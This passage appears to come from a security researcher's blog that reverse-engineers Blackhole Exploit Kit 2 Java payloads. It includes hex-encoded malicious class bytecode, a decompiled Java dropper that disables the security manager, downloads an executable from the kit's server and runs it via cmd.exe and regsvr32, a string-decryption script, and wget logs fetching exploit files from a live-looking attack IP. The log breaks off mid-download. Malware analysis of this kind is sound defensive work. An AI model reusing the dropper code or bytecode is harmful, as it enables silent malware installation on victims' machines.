impossible_str60 = "rg80F%-%2Q%%2gA%F%2%b%QgAQg%{%%%F%{%}Q0gA0z%{Q0%^%A%0"
impossible_str61 = "}r(2((2^%-%2Q%%2gA%F%2%b%QgAQg%{%%%F%{%}Q0gA0z%"
impossible_str62 = "{Q0%^%A%0(2(((%%8%bQ%%A%r%{(2((}8g^0F%-%2Q%%2g"
impossible_str63 = "A%F%2%b%QgA0A%g%-%{%}Q0}r{r0F%-%2Q%%2gA%F%2%b%QgA0A%g%-%{%}Q"
impossible_str64 = "0}rg80F%-%2Q%%2gA%F%2%b%QgA0A%g%-%{%}Q0}r("
impossible_str65 = "2((2(%-%2Q%%2gA%F%2%b%QgA{}Q8Q}Q0%{%z(2((2gQ}%"
impossible_str66 = "{Q0{}%{%}Q{Qg%8Q0Q80z%2%b%2%Q%{Qg(2((2bg^0F%-%2Q%%2gA%F%2%b%"
impossible_str67 = "QgA{}%{%}Q{Qg%8Q0Q80z%2%b%2%Q%{Qg}rg8{%(2(((Q%b%{Q^Q008%bQ"
impossible_str68 = "0(2(((0g^08g808(2(((%%2Q(Q(%{%b%0(2((2Fg^08g80F%-%2Q%%2g"
impossible_str69 = "A%F%2%b%QgA{}Q0Qg%8%b%Q0gQ{%8%F%0%{Qg}r(2((gzg^0F%-%2Q"
impossible_str70 = "%%2gA%F%2%b%QgA{}Q0Qg%8%b%Q}rg80F%-%2Q%%2gA%F%2"
impossible_str71 = "%b%QgA{}Q0Qg%8%b%Q0gQ{%8%F%0%{Qg}r(2(((^Q0%A{}Q0Q"
impossible_str72 = "g%8%b%Q(2((20g^g80F%-%2Q%%2gA%F%2%b%QgA{"
impossible_str73 = "}Q0Qg%8%b%Q}r(2(((r%Q%{Q0{(Qg%AQ(%{QgQ0Q"
impossible_str74 = "8(2((g%g^0F%-%2Q%%2gA%F%2%b%QgA{}Q0Qg%8%b"
impossible_str75 = "%Q}rg80F%-%2Q%%2gA%F%2%b%QgA{}Q0Qg%8%b%Q}r(2(((b%A"
impossible_str76 = "Q(%{%b0}%A%b%b%{%}Q0%8%A%b(2((2-g^g80F%-%2Q"
impossible_str77 = "%%2gA%b%{Q0gA{{{g"

test_str116 = gouerpyftn(impossible_str54 + impossible_str55 + impossible_str56 + impossible_str57 + impossible_str58 + impossible_str59 + impossible_str60 + impossible_str61 + impossible_str62 + impossible_str63 + impossible_str64 + impossible_str65 + impossible_str66 + impossible_str67 + impossible_str68 + impossible_str69 + impossible_str70 + impossible_str71 + impossible_str72 + impossible_str73 + impossible_str74 + impossible_str75 + impossible_str76 + impossible_str77)

impossible_str78 = "4C436F6E6E656374696F6E3B01000E676574496E707574"
impossible_str79 = "53747265616D01001728294C6A6176612F696F2F496E707574537472656"
impossible_str80 = "16D3B01000E6765744865616465724669656C6401000769"
impossible_str81 = "6E6465784F66010015284C6A6176612F6C616E672F537472696E67"
impossible_str82 = "3B294901000472656164010007285B42494929490100"
impossible_str83 = "057772697465010007285B4249492956010005636C6F736501000A6"
impossible_str84 = "7657452756E74696D6501001528294C6A6176612F6C616E672F5"
impossible_str85 = "2756E74696D653B01000465786563010028285B4C6A61766"
impossible_str86 = "12F6C616E672F537472696E673B294C6A6176612F6C616"
impossible_str87 = "E672F50726F636573733B010004657869740100042849295"
impossible_str88 = "60100095A4B4D352E342E3561010001620100015A01000163"
impossible_str89 = "0C00AA00A909003300AB0100017A0100135B4C6A6176612F6C616E672F53"
impossible_str90 = "7472696E673B0100083C636C696E69743E0C00B100B201000B7"
impossible_str91 = "46F43686172417272617901000428295B430A002C0"
impossible_str92 = "0B00C003700B5010005285B4329560A002C00B40C0"
impossible_str93 = "0B80092010006696E7465726E0A002C00B70C00AD00AE0900"
impossible_str94 = "3300BA0700BD0100146A6176612F696F2F53657269616C697A6162"

test_str95 = "6C650700AE0700AE0700AE0700AE0700AE0700AE0700AE0"
test_str96 = "700AE0700AE0700AE0700AE0700AE0700AE0700AE070"
test_str97 = "0AE0700AE0700AE0700AE0700AE0700AE0700AE0700AE0700AE07"
test_str98 = "00AE0700AE0700AE0700AE0700AE0700DB0100025B430700AE0700AE070"
test_str99 = "0DB0700DB0700AE0700AE0700DB0700DB0700AE0700AE0700DB0"
test_str100 = "700DB0700AE0700AE0700DB0700DB0700AE0700AE0700DB0700D"
test_str101 = "B0700AE0700AE0700DB0700DB0700AE0700AE0700DB0700DB0700"
test_str102 = "AE0700AE0700DB002100330009000100340004000"
test_str103 = "0003500360000000900A800A90000000900AA00A900000"
test_str104 = "01A00AD00AE00000003000100370038000100390000008A00070003"
test_str105 = "000000412AB700012A2BB50002B200BB0332B80004B200BB053204BD0006"
test_str106 = "5903B200BB0432B8000453B60008B200BB0332B8000404"
test_str107 = "BD000959032A53B6000A57A700044DB100010009003C003F0"
test_str108 = "00B0002003A000000160005000000250004000E00090"
test_str109 = "00B003C002700400006003B000000130002FF003F0002070033070"
test_str110 = "02C000107000B000001003F0040000200390000047"
test_str111 = "30008001100000223B200AC361001B8000CBB000D59B7000E4C"
test_str112 = "120F2B1210B60011603D"

test_str119 = impossible_str78 + impossible_str79 + impossible_str80 + impossible_str81 + impossible_str82 + impossible_str83 + impossible_str84 + impossible_str85 + impossible_str86 + impossible_str87 + impossible_str88 + impossible_str89 + impossible_str90 + impossible_str91 + impossible_str92 + impossible_str93 + impossible_str94 + test_str95 + test_str96 + test_str97 + test_str98 + test_str99 + test_str100 + test_str101 + test_str102 + test_str103 + test_str104 + test_str105 + test_str106 + test_str107 + test_str108 + test_str109 + test_str110 + test_str111 + test_str112

asd_str122 = "ZZ001259Z700131CZ60014Z200ZZ100632Z60016Z600174EZZ001259Z70013Z200ZZ0732Z80019Z60016121AZ60016Z600173A04ZZ001259Z700132AZ40002Z6001ZZ600161CZ60014Z600173A05ZZ001C591905Z7001D3A061906Z6001E3A071907Z6001F3A080336091907Z200ZZ100A32Z600213A0A190A15109A000CC60058A70004ZF190AZ200ZZ100932Z6002315109A002Z02A00022A70004ZF190AZ200ZZ0632Z6002315109A0014A70004ZF029F0025A70004ZF04A70004ZF3609ZZ001259Z700131CZ60014Z200ZZ0632Z60016Z600174EZZ002559ZZ001259Z700131904Z600162DZ60016Z".replace("Z", "B")
asd_str123 = "60017B700263A0B110400BC083A0D1C360E1908190D03190DBEB6002759360C029F005115109A005603360F150F150CA20033150E1100AA601100FF7E360E150E104882360E190D150F5C33150E91829154840F0115109A0016151099FFD0A70004BF190B190D03150CB60028151099FFA31908B60029190BB6002AB8002B3A0F15109A00531509990053A70004BF190F08BD002C5903B200BB100732535904B200BB0832535905B200BB100B32535906B200BB100832535907BB001259B700131904B600162DB60016B6001753B6003157A70004BF1510990038190F06BD002C5903B200BB100732535904B200BB0832535905BB001259B700131904B600162DB60016B6001753B6003157A70004BF03B80032A700084C03B8003201B0000A01DB02110214000B018D01D701DA000B018601900193000B014B01640167000B00CC00D400D7000B00BA00CF00D2000B00B100C700CA000B00A200B400B7000B0092009C009F000B00050219021C000B0002003A0000009200240005001A0009002800110016001B001100330005004F00120069001800740010007B0013008200150085000F0092001E00A0002600D3001B00DA002400F10022010D000A0"
asd_str124 = "114001401170004012900170138000C0144001D014B0021015700290168002001770019017C00090181001C0186001F0194000D01E000010215000302190002021C0007021D000802210023003B00000156001CFF009F001107003307000D0107002C07002C07002C07001C0700430700440107002C000000000001000107000B004107002C5407000B005107000B40014607000B004307000B400118FF0025001107003307000D0107002C07002C07002C07001C0700430700440107002C070025000700460100010000FF0019001107003307000D0107002C07002C07002C07001C0700430700440107002C0700250107004601010100007507000B0009FF0004001107003307000D0107002C07002C07002C07001C0700430700440107002C07002501070046010001000009FF0011001107003307000D0107002C07002C07002C07001C0700430700440107002C070025010700460107004701000107000B00F7004507000B00047307000B00FF0006001107003300000000000000000000000000000001000107000BFF000400110700330700BC00000000000000000000000000000100000048000000040001000B000800AF00810001003900000305000C00010000012D100CBD002C5903120310FFA70078535904120703A7006F535905120504A70066535906122405A7005D535907121806A70054535908122E07A7004B53591006121508A7004153591007122D1006A700365359100812301007A7002B5359100912221008A700205359100A12201009A700155359100B122F100AA7000A53B300BBA700AC5FB600B359BE5F033B5F5A04A3004F591A5C341A0870AA00000000003300000000000000030000001F00000024000000290000002E1047A70014100EA7000F1015A7000A1073A7000510558292558400015F5A9A00085C5FA7FFB95F5A1AA3FFB1BB002C5A5FB700B6B600B95F575FAA00FFFFFF1C000000000000000AFFFFFF25FFFFFF2EFFFFFF37FFFFFF40FFFFFF49FFFFFF53FFFFFF5EFFFFFF69FFFFFF74FFFFFF7FFFFFFF8AB100000001003B000001C60017FF000E00010100040700BE0700BF0107002CFF000800010100040700C00700C10107002CFF000800010100040700C20700C30107002CFF000800010100040700C40700C50107002CFF000800010100040700C60700C70107002CFF000800010100040700C80700C90107002CFF000900010100040700CA0700CB0107002CFF000A00010100040700CC0700CD0107002CFF000A00010100040700CE0700CF0107002CFF000A00010100040700D00700D10107002CFF000A00010100040700D20700D30107002CFF000A00010100040700D40700D50107002CFF0006000000050700D60700D70107002C01FF000E00010100060700D80700D90101010700DAFF000100010100080700DC0700DD0101010700DE0700DF01FF002300010100090700E00700E10101010700E20700E30101FF000400010100090700E40700E50101010700E60700E70101FF000400010100090700E80700E90101010700EA0700EB0101FF000400010100090700EC0700ED0101010700EE0700EF0101FF000400010100090700F0"
asd_str125 = "0700F10101010700F20700F30101FF0001000101000A0700F40700F50101010700F60700F7010101FF000F00010100060700F80700F90101010700FAFB004D0001004900000002004A"


codehex_aa = "(?i).j";
asd_zxc = "xe"
asd_zxc2 = ".e"

#hw_str12 = aaz().replace("?jar", ".exe") + "?"

def main():
  abyte0 = decodeH(one())
  print abyte0

if __name__ == "__main__":
    main()

Run the script and it will print Java Bytecode for the class the Bad Guys want to run on your system(Thrugh the exploitation of the MBeanInstantiator bug they can now call restricted classes)
redirect the output to a .class file. e.g.

$python decode_blachole.py > bhclass.class

Ok so where are we at? Well at this time we are probably hungry, so open a tin of SPAM, enjoy and move on.

5. Back to Java disassembly again

The bytecode needs to be disassembled so back to jad or showmycode.com. And we get the output:

import java.io.*;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLConnection;
import java.security.PrivilegedExceptionAction;
import java.util.Random;

public class javaRun
    implements PrivilegedExceptionAction
{

    public javaRun(String s)
    {
        a = s;
        try
        {
            Class.forName(z[0]).getMethod(z[2], new Class[] {
                Class.forName(z[1])
            }).invoke(Class.forName(z[0]), new Object[] {
                this
            });
        }
        catch(Exception exception) { }
    }

    public Object run()
        throws Exception
    {
        boolean flag = c;
        int i;
        String s;
        String s1;
        InputStream inputstream;
        int j;
        String s3;
        System.setSecurityManager(null);
        Random random = new Random();
        i = 0xf4240 + random.nextInt(0x7a1200);
        s = (new StringBuilder()).append(i).append(z[6]).toString();
        s1 = (new StringBuilder()).append(System.getProperty(z[4])).append("/").toString();
        String s2 = (new StringBuilder()).append(a.toString()).append(i).toString();
        URL url = new URL(s2);
        URLConnection urlconnection = url.openConnection();
        inputstream = urlconnection.getInputStream();
        j = 0;
        s3 = urlconnection.getHeaderField(z[10]);
        s3;
        if(flag) goto _L2; else goto _L1
_L1:
        if(s3 == null)
            break MISSING_BLOCK_LABEL_241;
          goto _L3
        throw ;
_L3:
        s3;
_L2:
        z[9];
        indexOf();
        if(flag)
            break MISSING_BLOCK_LABEL_216;
        -1;
        JVM INSTR icmpne 211;
           goto _L4 _L5
_L4:
        break MISSING_BLOCK_LABEL_184;
_L5:
        break MISSING_BLOCK_LABEL_211;
        throw ;
        s3;
        z[3];
        indexOf();
        if(flag)
            break MISSING_BLOCK_LABEL_216;
        break MISSING_BLOCK_LABEL_203;
        throw ;
        -1;
        JVM INSTR icmpeq 241;
           goto _L6 _L7
_L6:
        break MISSING_BLOCK_LABEL_211;
_L7:
        break MISSING_BLOCK_LABEL_241;
        throw ;
        throw ;
        j = 1;
        s = (new StringBuilder()).append(i).append(z[3]).toString();
        FileOutputStream fileoutputstream;
        byte abyte0[];
        int l;
        fileoutputstream = new FileOutputStream((new StringBuilder()).append(s1).append(s).toString());
        abyte0 = new byte[1024];
        l = i;
_L11:
        int k;
        int i1;
        if((k = inputstream.read(abyte0, 0, abyte0.length)) == -1)
            break; /* Loop/switch isn't completed */
        if(flag)
            break MISSING_BLOCK_LABEL_385;
        i1 = 0;
_L9:
        if(i1 >= k)
            break; /* Loop/switch isn't completed */
        l = l + 170 & 0xff;
        l ^= 0x48;
        abyte0[i1] ^= (byte)l;
        i1++;
        if(flag)
            continue; /* Loop/switch isn't completed */
        if(!flag) goto _L9; else goto _L8
        throw ;
_L8:
        fileoutputstream.write(abyte0, 0, k);
        if(!flag) goto _L11; else goto _L10
_L10:
        inputstream.close();
        fileoutputstream.close();
        Runtime runtime = Runtime.getRuntime();
        if(flag)
            break MISSING_BLOCK_LABEL_475;
        j;
        JVM INSTR ifeq 480;
           goto _L12 _L13
_L12:
        break MISSING_BLOCK_LABEL_404;
_L13:
        break MISSING_BLOCK_LABEL_480;
        throw ;
        runtime.exec(new String[] {
            z[7], z[5], z[11], z[8], (new StringBuilder()).append(s1).append(s).toString()
        });
        break MISSING_BLOCK_LABEL_475;
        throw ;
        if(!flag)
            break MISSING_BLOCK_LABEL_533;
        runtime.exec(new String[] {
            z[7], z[5], (new StringBuilder()).append(s1).append(s).toString()
        });
        break MISSING_BLOCK_LABEL_533;
        throw ;
        System.exit(0);
        break MISSING_BLOCK_LABEL_545;
        Exception exception;
        exception;
        System.exit(0);
        return null;
    }

    String a;
    public static boolean b;
    public static boolean c;
    private static final String z[];

    static 
    {
        String as[] = new String[12];
        as;
        as;
        0;
        "-oc\022{4kv\006'.zl]\024$mp\000&\004a{\007'(by\026'";
        -1;
          goto _L1
_L7:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        true;
        "-oc\022{4kv\006'.zl]\0055gc\0329\"ip\027\020?mp\003!.a{263gz\035";
        false;
          goto _L1
_L8:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        2;
        "#aE\001<1gy\0262\"j";
        true;
          goto _L1
_L9:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        3;
        "ijy\037";
        2;
          goto _L1
_L10:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        4;
        "2}p\001{/ax\026";
        3;
          goto _L1
_L11:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        5;
        "hM";
        4;
          goto _L1
_L12:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        6;
        "ikm\026";
        5;
          goto _L1
_L13:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        7;
        "$cq]0?k";
        6;
          goto _L1
_L14:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        8;
        "j}";
        7;
          goto _L1
_L15:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        9;
        "izx\003";
        8;
          goto _L1
_L16:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        10;
        "\004a{\0070)z87<4~z\000<3gz\035";
        9;
          goto _L1
_L17:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        11;
        "5kr\000#5='";
        10;
          goto _L1
_L18:
        JVM INSTR aastore ;
        z;
_L1:
        JVM INSTR swap ;
        toCharArray();
        JVM INSTR dup ;
        JVM INSTR arraylength .length;
        JVM INSTR swap ;
        int i = 0;
        JVM INSTR swap ;
        JVM INSTR dup_x1 ;
        1;
        JVM INSTR icmpgt 222;
           goto _L2 _L3
_L2:
        JVM INSTR dup ;
        i;
_L5:
        JVM INSTR dup2 ;
        JVM INSTR caload ;
        byte byte0;
        switch(i % 5)
        {
        case 0: // '\0'
            byte0 = 0x47;
            break;

        case 1: // '\001'
            byte0 = 14;
            break;

        case 2: // '\002'
            byte0 = 21;
            break;

        case 3: // '\003'
            byte0 = 115;
            break;

        default:
            byte0 = 85;
            break;
        }
        byte0;
        JVM INSTR ixor ;
        (char);
        JVM INSTR castore ;
        i++;
        JVM INSTR swap ;
        JVM INSTR dup_x1 ;
        JVM INSTR ifne 222;
           goto _L4 _L3
_L4:
        JVM INSTR dup2 ;
        JVM INSTR swap ;
          goto _L5
_L3:
        JVM INSTR swap ;
        JVM INSTR dup_x1 ;
        i;
        JVM INSTR icmpgt 146;
           goto _L6 _L2
_L6:
        JVM INSTR new #44  <Class String>;
        JVM INSTR dup_x1 ;
        JVM INSTR swap ;
        String();
        intern();
        JVM INSTR swap ;
        JVM INSTR pop ;
        JVM INSTR swap ;
        JVM INSTR tableswitch 0 10: default 14
    //                   0 23
    //                   1 32
    //                   2 41
    //                   3 50
    //                   4 59
    //                   5 69
    //                   6 80
    //                   7 91
    //                   8 102
    //                   9 113
    //                   10 124;
           goto _L7 _L8 _L9 _L10 _L11 _L12 _L13 _L14 _L15 _L16 _L17 _L18
    }
}

Crap!!! what is this all about. This should be a happy ending where we had a nice and shiny class file disassembled but instead this code really got me wondering. I'm no Java Ken Guru, but this one beat me up. Luckily there is a lot of people knowing more than me about this and I found a great post about what this was here @ Security Obscurity Blog and even more @ The PlayGround.dk,

6. Introducing the Zelix Klassmaster 

 - Or what I would call it: "The Spanish Inquisition" youtube


So more work to do: I justed followed Mr. Larsens guide and came up with, well a Python script to decrypt The Spanish Inquisition, eh, Zelix Klassmaster encrypted strings:

#malforsec decrypt Spannish Inquisition encrypted strings 0.9.1
def decode(str1):
  decrstr = ""
  key = [71, 14, 21, 115, 85]
  for i in range(0, len(str1), 1):
    decrstr += chr((ord(str1[i])) ^ (key[i % 5]))
  return decrstr

encstr = ["-oc\022{4kv\006'.zl]\024$mp\000&\004a{\007'(by\026'",
          "-oc\022{4kv\006'.zl]\0055gc\0329\"ip\027\020?mp\003!.a{263gz\035",
          "#aE\001<1gy\0262\"j",
          "ijy\037",
          "2}p\001{/ax\026",
          "hM",
          "ikm\026",
          "$cq]0?k",
          "j}",
          "izx\003",
          "\004a{\0070)z87<4~z\000<3gz\035",
          "5kr\000#5='"]

def main():
  for i in range(0, len(encstr), 1):
    print decode(encstr[i])

if __name__ == "__main__":
    main()

So lets run the script and voila:

java.security.AccessController
java.security.PrivilegedExceptionAction
doPrivileged
.dll
user.home
/C
.exe
cmd.exe
-s
.tmp
Content-Disposition
regsvr32

7. Back to the Applet code hw.class:

Line 47:

String str12 = d.get(this);
str12 = (new StringBuilder(String.valueOf(Asd.aaz().replaceAll((new StringBuilder(String.valueOf(codehex.aa))).append("ar").toString(), (new StringBuilder(String.valueOf(Asd.zxc2))).append(Asd.zxc).toString())))).append("?").toString();
        }
        return str12;
    }
codehex strings:
public static String aa = "(?i).j";
Asd strings:
public static String zxc = "xe";
public static String zxc2 = ".e";
Asd.aaz():
public static String aaz()
        throws Exception
    {
        Class cc = hw;
        String classFilename = "hw.class";
        String urlToJar = cc.getResource(classFilename).toString();
        Method m = java/lang/String.getMethod("replaceAll", new Class[] {
            java/lang/String, java/lang/String
        });
        urlToJar = (String)m.invoke(urlToJar, new Object[] {
            "jar:", ""
        });
        urlToJar = urlToJar.replaceAll("!/hw.class", "");
        return urlToJar;
    }

This method, to me, looks like it is finding the URL or place that the hw.class/ jar was loaded. Replaceing hw.class with nothing nad jar with exe. In short we get the URL to the exe file, which is fed into the class we discussed above.

With the deobfuscation of the class files and decrypted strings we can see what the final class does:

import java.io.*;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLConnection;
import java.security.PrivilegedExceptionAction;
import java.util.Random;

public class javaRun
    implements PrivilegedExceptionAction
{

    public javaRun(String s)
    {
        a = s;
        try
        {
            Class.forName(java.security.AccessController).getMethod(doPrivileged, new Class[] {
                Class.forName(java.security.PrivilegedExceptionAction)
            }).invoke(Class.forName(java.security.AccessController), new Object[] {
                this
            });
        }
        catch(Exception exception) { }
    }

    public Object run()
        throws Exception
    {
        boolean flag = c;
        int i;
        String s;
        String s1;
        InputStream inputstream;
        int j;
        String s3;
        System.setSecurityManager(null);
        Random random = new Random();
        i = 0xf4240 + random.nextInt(0x7a1200);
        s = (new StringBuilder()).append(i).append(".exe").toString();
        s1 = (new StringBuilder()).append(System.getProperty("user.home")).append("/").toString();
        String s2 = (new StringBuilder()).append(a.toString()).append(i).toString();
        URL url = new URL(s2);
        URLConnection urlconnection = url.openConnection();
        inputstream = urlconnection.getInputStream();
        j = 0;
        s3 = urlconnection.getHeaderField("Content-Disposition");
                s = (new StringBuilder()).append(i).append(".dll").toString();
        fileoutputstream = new FileOutputStream((new StringBuilder()).append(s1).append(s).toString());
        abyte0 = new byte[1024];
        l = i;
        int k;
        int i1;
        if((k = inputstream.read(abyte0, 0, abyte0.length)) == -1)   
        i1 = 0;
        l = l + 170 & 0xff;
        l ^= 0x48;
        abyte0[i1] ^= (byte)l;
        i1++;
        fileoutputstream.write(abyte0, 0, k);
        inputstream.close();
        fileoutputstream.close();
        Runtime runtime = Runtime.getRuntime();
        runtime.exec(new String[] {
            "cmd.exe", "/C", "regsvr32", "-s", (new StringBuilder()).append(s1).append(s).toString()
        });
        runtime.exec(new String[] {
            "cmd.exe", "/C", (new StringBuilder()).append(s1).append(s).toString()
        });
        return null;
    }

8. The End

My conclusion is that the exe is loaded from the same URL base as the JAR archive was loaded from. Its written to disk under user.home. It registrers a service silently(cmd.exe /C regsrv32 -S) and executes the exe file(cmd.exe /C )

I'm not sure if the XOR of the one byte of abyte0 is used in the code. Hopefully I can confirm that the next time I download a BHEK2 JAR archive. 

Feedback are welcome! So please enlighten me on any misinterpretation. You are of course welcome to use any Python code should it interset you.

Happy BHEK2 JAR archives deobfuscation :)

Yet another BlackHole Exploit Kit adventure

I just thought that I should check that my "BHEK analyzis made easy" guide worked out fine, so I took a beer from the fridge and went over to URLquery and fetched a possible blackhole URL.

http://urlquery.net/report.php?id=1215790

See here for the guide: http://malforsec.blogspot.no/2013/03/analyzing-bhek2-made-easy_1.html

So here is what I got:

--2013-03-02 22:03:06--  hxxp://80.248.238.15/231a51bb54657c855360782e728bbf6d/q.php
Connecting to 80.248.238.15:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Sat, 02 Mar 2013 22:50:26 GMT
  Server: nginx/0.7.65
  Content-Type: application/java-archive
  X-Powered-By: PHP/5.3.2
  Content-Length: 22404
  ETag: "29a92c3eedd77110bc1dc12948eb909c"
  Last-Modified: Sat, 02 Mar 2013 19:54:44 GMT
  Accept-Ranges: bytes
  Connection: close
Length: 22404 (22K) [application/java-archive]
Saving to: `q.php'

     0K .......... .......... .                               100%  230K=0.1s


2013-03-02 22:03:07 (230 KB/s) - `q.php' saved [22404/22404]

Since I did the mistake of adding Java to my User-agent it threw me a jar file right away. Badass!!

I dropped the Java part of the User-agent and got, as expected, the plugin detect


--2013-03-02 22:04:03--  hxxp://80.248.238.15/231a51bb54657c855360782e728bbf6d/q.php
Connecting to 80.248.238.15:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Sat, 02 Mar 2013 22:51:23 GMT
  Server: nginx/0.7.65
  Content-Type: text/html
  X-Powered-By: PHP/5.3.2
  Connection: close
Length: unspecified [text/html]
Saving to: `q2.php'

     0K .......... .......... .......... .......... ..........  430K
    50K .......... .......... .......... .......... ..........  686K
   100K .......... ...                                          388K=0.2s

2013-03-02 22:04:04 (508 KB/s) - `q2.php' saved [115742]

Exactly as shown in the guide :)
Wepawt did the job again and I could just fetch the BAD files:
Should get 2-3 PDF's, 1-2 SWF's and a couple of JAR's.

-
--2013-03-02 22:26:31--  hxxp://80.248.238.15/231a51bb54657c855360782e728bbf6d/q.php?xjnnfg=32:1h:1l:1l:1j&yglzthqd=33:3l:3n&cmjxuoea=1g:1n:32:33:1n:1n:1n:2v:31:1o&mccehrt=1g:1f:1d:1g:1f:1h
Connecting to 80.248.238.15:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Sat, 02 Mar 2013 23:13:54 GMT
  Server: nginx/0.7.65
  Content-Type: application/pdf
  X-Powered-By: PHP/5.3.2
  Content-Length: 20389
  ETag: "30beb650b5909878feedccd4f8700607"
  Last-Modified: Sat, 02 Mar 2013 20:18:13 GMT
  Accept-Ranges: bytes
  Connection: close
Length: 20389 (20K) [application/pdf]
Saving to: `p1.pdf'

     0K .......... .........                                  100%  203K=0.1s

2013-03-02 22:26:35 (203 KB/s) - `p1.pdf' saved [20389/20389]

--2013-03-02 22:30:56--  hxxp://80.248.238.15//231a51bb54657c855360782e728bbf6d/q.php?pcuk=32:1h:1l:1l:1j&rkto=38&zqqlekft=1g:1n:32:33:1n:1n:1n:2v:31:1o&asmfjr=1g:1f:1d:1g:1f:1h
Connecting to 80.248.238.15:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Sat, 02 Mar 2013 23:18:16 GMT
  Server: nginx/0.7.65
  Content-Type: application/pdf
  X-Powered-By: PHP/5.3.2
  Accept-Ranges: bytes
  Content-Length: 10973
  Content-Disposition: inline; filename=edcca.pdf
  Connection: close
Length: 10973 (11K) [application/pdf]
Saving to: `p2.pdf'

     0K ..........                                            100% 9.96K=1.1s

2013-03-02 22:30:58 (9.96 KB/s) - `p2.pdf' saved [10973/10973]

--2013-03-02 22:32:59--  hxxp://80.248.238.15//231a51bb54657c855360782e728bbf6d/q.php?pcuk=32:1h:1l:1l:1j&rkto=38&zqqlekft=1g:1n:32:33:1n:1n:1n:2v:31:1o&asmfjr=1o:1d:1i
Connecting to 80.248.238.15:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Sat, 02 Mar 2013 23:20:19 GMT
  Server: nginx/0.7.65
  Content-Type: application/pdf
  X-Powered-By: PHP/5.3.2
  Accept-Ranges: bytes
  Content-Length: 10006
  Content-Disposition: inline; filename=7661e.pdf
  Connection: close
Length: 10006 (9.8K) [application/pdf]
Saving to: `p2_a.pdf'

     0K .........                                             100% 10.6K=0.9s

2013-03-02 22:33:00 (10.6 KB/s) - `p2_a.pdf' saved [10006/10006]

--2013-03-02 22:33:45--  hxxp://80.248.238.15/231a51bb54657c855360782e728bbf6d/q.php?xjnnfg=32:1h:1l:1l:1j&yglzthqd=33:3l:3n&cmjxuoea=1g:1n:32:33:1n:1n:1n:2v:31:1o&mccehrt=1o:1d:1i
Connecting to 80.248.238.15:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Sat, 02 Mar 2013 23:21:05 GMT
  Server: nginx/0.7.65
  Content-Type: application/pdf
  X-Powered-By: PHP/5.3.2
  Content-Length: 20389
  ETag: "c0f111989697cf4e9311e5c7f2757b51"
  Last-Modified: Sat, 02 Mar 2013 20:25:23 GMT
  Accept-Ranges: bytes
  Connection: close
Length: 20389 (20K) [application/pdf]
Saving to: `p1.pdf'

     0K .......... .........                                  100%  229K=0.09s

2013-03-02 22:33:45 (229 KB/s) - `p1.pdf' saved [20389/20389]

--2013-03-02 22:36:10--  hxxp://80.248.238.15/231a51bb54657c855360782e728bbf6d/q.php?xjnnfg=32:1h:1l:1l:1j&yglzthqd=33:3l:3n&cmjxuoea=1g:1n:32:33:1n:1n:1n:2v:31:1o&mccehrt=1g:1f:1d:1g:1f:1j
Connecting to 80.248.238.15:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Sat, 02 Mar 2013 23:23:30 GMT
  Server: nginx/0.7.65
  Content-Type: application/pdf
  X-Powered-By: PHP/5.3.2
  Content-Length: 20341
  ETag: "b58800750b75a9546ed7227f797d83f5"
  Last-Modified: Sat, 02 Mar 2013 20:27:48 GMT
  Accept-Ranges: bytes
  Connection: close
Length: 20341 (20K) [application/pdf]
Saving to: `p3.pdf'

     0K .......... .........                                  100%  334K=0.06s

2013-03-02 22:36:11 (334 KB/s) - `p3.pdf' saved [20341/20341]

--2013-03-02 22:41:08--  hxxp://80.248.238.15/231a51bb54657c855360782e728bbf6d/q.php?iywghqq=32:1h:1l:1l:1j&yayuotd=3c:3e:39:3e:38:38&lfrj=1g:1n:32:33:1n:1n:1n:2v:31:1o&info=02e6ffb0a173ba4a727abaf74e10f62852e75f8c3b04706c3
Connecting to 80.248.238.15:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Sat, 02 Mar 2013 23:28:28 GMT
  Server: nginx/0.7.65
  Content-Type: text/html
  X-Powered-By: PHP/5.3.2
  Connection: close
Length: unspecified [text/html]
Saving to: `f1.swf'

     0K ..                                                     1.29M=0.002s

2013-03-02 22:41:08 (1.29 MB/s) - `f1.swf' saved [2671]

--2013-03-02 22:45:16--  hxxp://80.248.238.15/231a51bb54657c855360782e728bbf6d/q.php?awzq=gtyfkz&rrgltzf=jwibjubx
Connecting to 80.248.238.15:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Sat, 02 Mar 2013 23:32:36 GMT
  Server: nginx/0.7.65
  Content-Type: application/java-archive
  X-Powered-By: PHP/5.3.2
  Content-Length: 22404
  ETag: "29a92c3eedd77110bc1dc12948eb909c"
  Last-Modified: Sat, 02 Mar 2013 20:36:54 GMT
  Accept-Ranges: bytes
  Connection: close
Length: 22404 (22K) [application/java-archive]
Saving to: `j1.jar'

     0K .......... .......... .                               100%  333K=0.07s

2013-03-02 22:45:16 (333 KB/s) - `j1.jar' saved [22404/22404]

--2013-03-02 22:46:09--  hxxp://80.248.238.15/231a51bb54657c855360782e728bbf6d/q.php?awzq=gtyfkz&rrgltzf=jwibjubx
Connecting to 80.248.238.15:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Sat, 02 Mar 2013 23:33:29 GMT
  Server: nginx/0.7.65
  Content-Type: application/java-archive
  X-Powered-By: PHP/5.3.2
  Content-Length: 22339
  ETag: "91414b8f2a3f971352b8432a856ddf70"
  Last-Modified: Sat, 02 Mar 2013 20:37:47 GMT
